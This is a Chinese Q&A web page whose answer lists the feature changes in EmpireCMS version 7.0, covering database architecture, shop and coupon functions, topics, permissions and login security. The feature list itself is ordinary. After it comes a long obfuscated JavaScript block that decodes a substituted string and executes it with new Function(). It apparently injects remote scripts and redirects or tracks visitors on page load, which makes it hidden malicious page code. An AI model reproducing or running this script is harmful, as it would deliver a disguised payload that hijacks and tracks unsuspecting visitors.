帝国CMS的版本历史

2025-02-22 04:16:13
推荐回答(1个)
回答1:

构架大更新:采用更先进构架、更强劲内核,性能提升30%以上:
1、已发布信息与待审核信息采用独立数据表分开存放,效率立竿见影。
前台显示信息无需验证信息是否审核,查询信息与页面生成速度大幅度提升。
2、信息新增主表索引表,在数据量越大时,查询信息速度更快。
特别是在数据量越大时生成效率越高。并且此构架为以后版本实现主表再分表打下基础,扩展性更强。
3、信息主表表结构更优化,字段优化与缩减,使单数据表容量更大,效率更高。
主表字段优化与缩减或移至副表或公共表,使单数据表容量更大,效率更高。
4、优化模板编译,大量减化批量生成变量替换,批量生成速度更快。
5、管理信息的栏目导航显示采用缓存及时更新,显示栏目导航效率更高。
6、预统计信息数量,读取多信息列表速度更快。
后台与前台显示信息列表速度更快。
7、公共信息表等索引采用唯一的多表信息ID,检索速度更快。
8、预生成信息地址,使模板中获取信息地址效率更高,生成速度更快。
在模板中获取信息地址效率更高,从而提高生成速度,且方便外部程序调用帝国CMS数据(只需查询titleurl字段即可)。
9、帝国CMS7.0支持无限附件分表,管理与选择附件速度更快。
(1)、信息所属附件支持无限分表,因为是附件主表直接分表,所以理论上是无限容量,当附件表达到一定数量可启用新的附件表,使数据容量分配更合理,更稳定。
(2)、会员、公共、其他附件表等也独立表存放,比原来容量更大,效率更高。
(3)、附件与对应项目绑定,删除项目会同时删除附件,大量减少附件冗余,比如删除栏目、专题、广告、碎片、反馈等自动删除相应附件。
10、帝国CMS7.0支持无限评论主表分表,容量更大,效率更高。
新增无限评论主表分表功能,使评论数据容量更大,效率更高,因为是评论主表直接分表,所以理论上是无限容量。当评论数据达到一定数据量,便可启用新分表,使评论容量分配更合理,效率更高更稳定。
11、帝国CMS7.0支持多MYSQL服务器读写分离,使网站更稳定。
(1)、支持主、从数据库服务器读写分离。
(2)、支持后台使用独立的MYSQL读写服务器,使后台更新数据不受前台访问量影响,更新数据更高效。
(3)、从服务器支持从多个MYSQL数据库服务器中随机选择,减少使用同一个从服务器带来的压力。
对多数据库服务器的支持,可减少数据库压力,将使网站扩容性更强,网站更加稳定。
商城系统大更新,功能更完善:
12、可指定使用商城系统功能的数据表。
13、可设置提交订单时是否显示“配送方式”和“支付方式”,对部分商家不需要这两个可以选择不显示。更自由。
14、商城支付方式与配送方式新增设置默认项,更人性化,方便购买者。
15、商城支付方式与配送方式新增关闭按钮,可指定哪几种方式不启用,而不用删除,更人性化。
16、管理订单支持按订单状态、发货状态、付款状态以及按订单金额/优惠金额等排序进行显示。管理更方便。
17、订单状态设置新增:订单状态(已确认/未确认/取消/退货)、发货状态(已发货/未发货/备货中)、付款状态(已付款/未付款)、库存(还原/减少库存)等操作。更强大。
18、增加优惠码功能:让促销商品更灵活。
(1)、优惠码支持按金额减少或打折百分比优惠。
(2)、优惠码支持设置一次性使用还是可重复使用。
(3)、支持设置满多少元才可以使用优惠码。
(4)、支持限制哪些会员组才可以使用优惠码。
(5)、可设置优惠码使用产品分类范围。
(6)、支持设置优惠码过期时间。
(7)、支持批量增加优惠码。
19、可指定收货人信息的所有字段是否为必填项,自由定义,更实在。
20、支持购物满多少金额免运费设置,免运费更吸引客户。
21、支持限制购物车最大商品数量,防恶意提交。
22、多种购物流程选择,更灵活,满足不同企业需求。
(1)、选择商品>购物车>联系与配送支付设置>确认订单>提交订单;
(2)、选择商品>购物车>联系与配送支付设置>提交订单;
(3)、选择商品>联系与配送支付设置>提交订单。
23、商品支持增加附加属性,比如:颜色、尺寸等。加入购物车链接加上:“&addatt[]=属性”即可。更灵活。
24、支持设置发票类型选项,更人性化。
25、购物车采用独立模板文件,修改购物车样式更方便。
26、新增预配送地址功能,会员可增加预配送地址,这样不用每次购物填写收货信息,只需购物时选择,非常方便。并且可指定哪个配送地址为默认。
27、前台新增会员取消自己订单的功能。后台可设置后台未操作订单前多少时间内允许会员自己取消订单,时间0为不允许会员自己取消。
28、新增商品销售数量统计功能。只需系统模型增加psalenum字段,系统会自动记录商品售出的数量。非常方便按销量调用显示。
29、新增订单操作日志,对订单各操作进行记录,订单操作过程一目了然。管理员管理更方便。
30、商城的管理界面采用独立窗口,单独管理商城更方便。
31、支持管理员给前台会员发送订单备注内容,比如:发快递号等信息。更人性化。
32、会员下订单后,后台管理员还可以给订单增加优惠金额,更方便管理员销售与促销。
33、新增商品库存数量验证。
34、支持设置在“下订单时减少库存”或者“支付款项后减少库存”,两种方式可自行选择,更灵活。
35、可设置订单下单后多少时间内未支付或后台确认将自动取消订单并还原库存。
36、在操作取消订单、确认支付、删除订单会自动还原库存,更自动化。(注:退货不自动还原库,需手动还原)
37、支持设置单商品最大购买数量限制,防恶意提交。
38、商城菜单新增独立开关,如果不使用商城只需后台设置关闭菜单,后台就不会显示与商城相关菜单项,很个性化。
专题功能大更新,功能更强大,制作更方便:
39、专题信息独立表(与信息表分离),管理与查询信息效率更高。
40、支持将专题分配给独立管理员管理,在多用户情况下,方便管理各自专题,权限分配更合理。
41、专题支持新增下级子分类,制作子页面更方便直接。专题子类支持列表式和内容式两种页面方式,且直接生成静态页面。
42、支持批量将信息推送到专题或专题子类,推送至专题更方便。
43、支持独立管理专题信息功能,可将信息从专题移除、更改发布时间来调整信息显示顺序。
44、专题信息支持九级推荐与调用,支持批量转移至新子类。
45、专题支持独立评论功能,不用像原来版本借信息的评论地址,更方便。
46、专题新增上传各类附件的独立功能,上传专题相关文件更方便。
47、专题更新独立管理页面,更直观(分配权限的管理员均可管理)。
48、组合专题功能:查询信息批量转入专题,可选排除选中的信息或者只组合选中信息,组合方式更灵活。
49、新增“灵动标签式”调用专题信息功能,调用信息超级方便。
50、新版专题支持多表信息显示与调用。
更多主要功能更新
51、帝国CMS7.0信息列表支持静态与动态相结合,效率更高。
信息列表支持设置前多少页生成静态页面、后多少页采用动态列表,在栏目列表生成页面多时非常有用,可以有效减少生成列表占用的资源,以及加快生成速度的效果。在单栏目信息非常多时非常实用。
52、帝国CMS7.0信息标题分类功能进行升级,功能更强大。
(1)、标题分类支持生成静态页面,并且可设置存放目录。
(2)、支持静态与动态页面方式选择。
(3)、支持生成JS调用。
(4)、支持列表部分静态、部分动态。
(5)、新增分类缩图、关键字和简介等属性设置。
(6)、支持设置哪个栏目不使用标题分类。
(7)、标题分类动态页采用独立的动态页面文件,而不是采用原来版本的结合项,效率更高更独立。
53、帝国CMS7.0新增【索引灵动标签】,调用信息更强大灵活。
为了让TAGS、碎片、专题等调用信息也可以使用类似灵动标签方式来调用,帝国CMS7.0新增了“索引灵动标签”,使调用信息更强大灵活。
新增按信息ID索引信息表的“索引灵动标签”,调用信息更强大更方便,支持按“专题/碎片/TAGS/SQL语句”调用信息。标签语法如下:
[e:indexloop={索引分类ID,显示条数,操作类型,栏目ID,系统模型ID,附加SQL条件}]
模板代码内容
[/e:indexloop]
54、帝国CMS7.0信息动态页面支持伪静态,采用动态模式下SEO优化更给力。
支持设置信息内容页、栏目页、标题分类页、TAGS列表页及各分页伪静态设置。
55、帝国CMS7.0的系统模型新增多值字段功能,扩展更灵活。
帝国CMS7.0的系统模型新增了像“下载地址”、“在线地址”、“图片集”等这样的将多个内容存放到一个字段的功能,增加字段时选择多值表单元素即可,功能更强大,扩展更灵活。
支持设定无限列与无限行数据录入,并且支持设置必填的列,以及默认行数。
56、帝国CMS7.0新增栏目访问统计及分析功能,让管理员更了解网站。
为了让管理员更好的了解自己的网站,帝国CMS7.0版新增了栏目访问统计及分析功能。可有效让管理员分析网站哪几个栏目访问量大或哪几个栏目访问量小,以及某一时间段变化情况,以便管理员作出更好的决策。
(1)、支持统计PV总排行、PV年排行、PV半年排行、PV季度排行、PV月排行、PV周排行、PV昨天排行、PV今天排行。
(2)、支持统计IP总排行、IP年排行、IP半年排行、IP季度排行、IP月排行、IP周排行、IP昨天排行、IP今天排行。
(3)、后台可按统计PV或IP来显示栏目排行,网站各栏目访问量一目了然,可对栏目进行比较,帮助管理员决策。
57、帝国CMS7.0新增外部登录接口平台,且将率先提供QQ登录接口,更方便会员与外部社交网站整合。
发布时将率先提供QQ登录接口(插件方式),其他接口用户也可以参考默认QQ接口自行增加。后台可设置参数与关闭接口,前台会员可自行绑定与解除绑定登录接口。
58、帝国CMS7.0新增将信息处理结果反馈给会员,更人性化。
让管理员与会员沟通更流畅,反馈信息内容采用站内消息方式传送。删除、移动、审核、取消审核信息操作均支持发送通知。
59、帝国CMS7.0会员中心采用新界面,更清晰实用。
且会员中心主界面采用独立模板文件,修改非常方便。如果仅是修改界面配色更是方便,只需修改主界面模板头部模板文件中的“界面参数”即可更改配色。
60、帝国CMS7.0后台登录新增绑定证书验证,更安全牢固。
后台登录新增绑定证书验证:用户设置绑定证书后必须通过证书页面进入才可登录后台,而从其他页面进入无法登录,更安全牢固。生成的绑定证书可以复制到一台或多台电脑登录,并且支持自己随时更换新证书,使旧的证书失效。
61、帝国CMS7.0动态页面模板支持后台直接修改,更方便。
动态页面模板支持后台直接修改,并且可分类分开管理,查找和修改相应模板更方便。且此功能用户组采用独立权限,以及可自行设置是否开启在线修改动态模板功能。
62、帝国CMS7.0信息管理权限分配更细,权限控制更灵活。
信息管理权限分配更细,将修改权限、审核权限、推荐/头条/置顶权限、归档权限、移动/复制权限独立来开、同时发布只能发布有权限的栏目,更方便给更新人员分配权限。同时新增发布的信息必须审核权限,强制某一用户组发布的信息必须审核,及新增审核通过的信息不让再修改信息的权限。
63、帝国CMS7.0的碎片功能升级,更方便实用。
(1)、碎片调用支持生成html页面,外部引用更方便,调用更多样化,比如ssi使用等。
(2)、碎片功能新增批量导入信息功能,可以将查询的信息批量加入碎片,更方便。
(3)、新增“灵动标签式”调用碎片信息功能,调用信息超级方便。
64、帝国CMS7.0新增统计最新信息与评论数量,了解网站最新状况更方便。
(1)、新增今日与昨天的信息数、评论数统计,更方便了解网站。
(2)、新增统计某一时间段以后发布的信息数与评论数,更方便管理员了解发布的信息。
比如:当发贴机群发信息,管理员马上就能看出来;很容易知道今天与昨天发布信息数情况......等等。
65、帝国CMS7.0新增采集规则导出与导入功能,支持所有系统模型。
采集规则导入与导出功能(导出为*.cj文件),方便转移采集规则与方便用户分享规则。且支持所有系统模型,采集导入与导出可自动识别不同系统模型的字段进行导入与导出操作。
66、帝国CMS7.0评论新增无限盖楼功能,网站更容易互动。
(1)、支持无限盖楼;
(2)、支持修改盖楼模板,可依网站不同个性化设计;
(3)、支持设置最高楼层限制设置,防止楼层过高影响页面加载速度。
67、帝国CMS7.0信息的九级头条与九级推荐名称支持自定义,更人性化。
方便识别推荐项目与位置,更人性化。比如:9级头条可改为“首页头条”,2级推荐改为“幻灯/热图/滚动信息”等等,更容易让编辑识别。
68、帝国CMS7.0信息页地址采用预获取方式,效率好且调用方便。
在原来版本我们获取信息要查询“id,classid,newspath,filename,groupid,titleurl”等字段才能获得地址。而在7.0版本只要查询“titleurl”字段就能获得地址,因为数据库已经直接记录信息本身的链接地址,非常方便。预获取方式也有利于效率提升,不需要查询多余字段以及计算信息页地址。另外,如果要识别链接是否为外部链接,可查询isurl字段,当isurl=1时就是外部链接。
69、帝国CMS7.0支持一键关闭会员、结合项等模块,关闭闲置模块很方便。
支持一键关闭会员、结合项、搜索、评论、打印、下载、电影、商城、支付、RSS等模块,关闭闲置模块很方便,很直接。
70、帝国CMS7.0完善支持PHP5.4系列,兼容性更好。
PHP5.4版本对PHP改动比较大,去掉了很多东西,导致部分函数无法正常使用,因而,帝国CMS7.0增加对PHP5.4系列的完善支持,兼容性更好。
附加说明:官方推荐使用PHP5.2.*或PHP5.3.*系列的稳定版本。当然帝国CMS6.6版本也支持PHP5.4,但GBK版不支持,要用UTF-8版本。
71、帝国CMS7.0屏蔽字符功能新增双字屏蔽,屏蔽恶意内容更给力。
原来屏蔽信息内容或评论内容必须是全部字符一样才会屏蔽,而7.0版新增双字屏蔽,屏蔽恶意内容更给力。比如:同时包含两个字或两个字符串就马上屏蔽。
72、帝国CMS7.0新增一键删除多余信息功能,清理错误信息很方便。
当有用户误操作数据表数据,或者信息数据是从外部写入帝国CMS,有可能导致入库不完整,生成出错。比如说:副表记录没有同时写入,此时就会出现生成错误。所以帝国CMS7.0版本就新增了一键清除这些信息的功能,无需手动一个个去查询出错信息,非常方便。清理后会提示删除错误信息的总数。
73、后台验证新增COOKIE+SESSION同时验证,更安全。
74、在原来支持文件验证登陆的基础上又新增了数据库验证登陆形式,更牢固。
75、新增访问来源限制,可限制非本站来源地址,并且支持只开启前台或后台验证。
76、后台管理员采用独立验证密钥,验证内容更独立,更安全。
77、前台会员默认采用双重md5加密。
78、前台会员新增按COOKIE加密方式验证。
79、可设置某段时间不允许发布投稿、注册会员、发表评论、发表留言。
灌水机一般都是在半夜时群发,所以我们可以在他们经常群发时间内自动关闭发布功能,有效防止与方便及时管理。
80、支持设置同一个IP在多少时间内允许发布的总投稿数量,有效防止连续群发。
81、可设置某几个会员组发表信息、评论是否需要审核。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();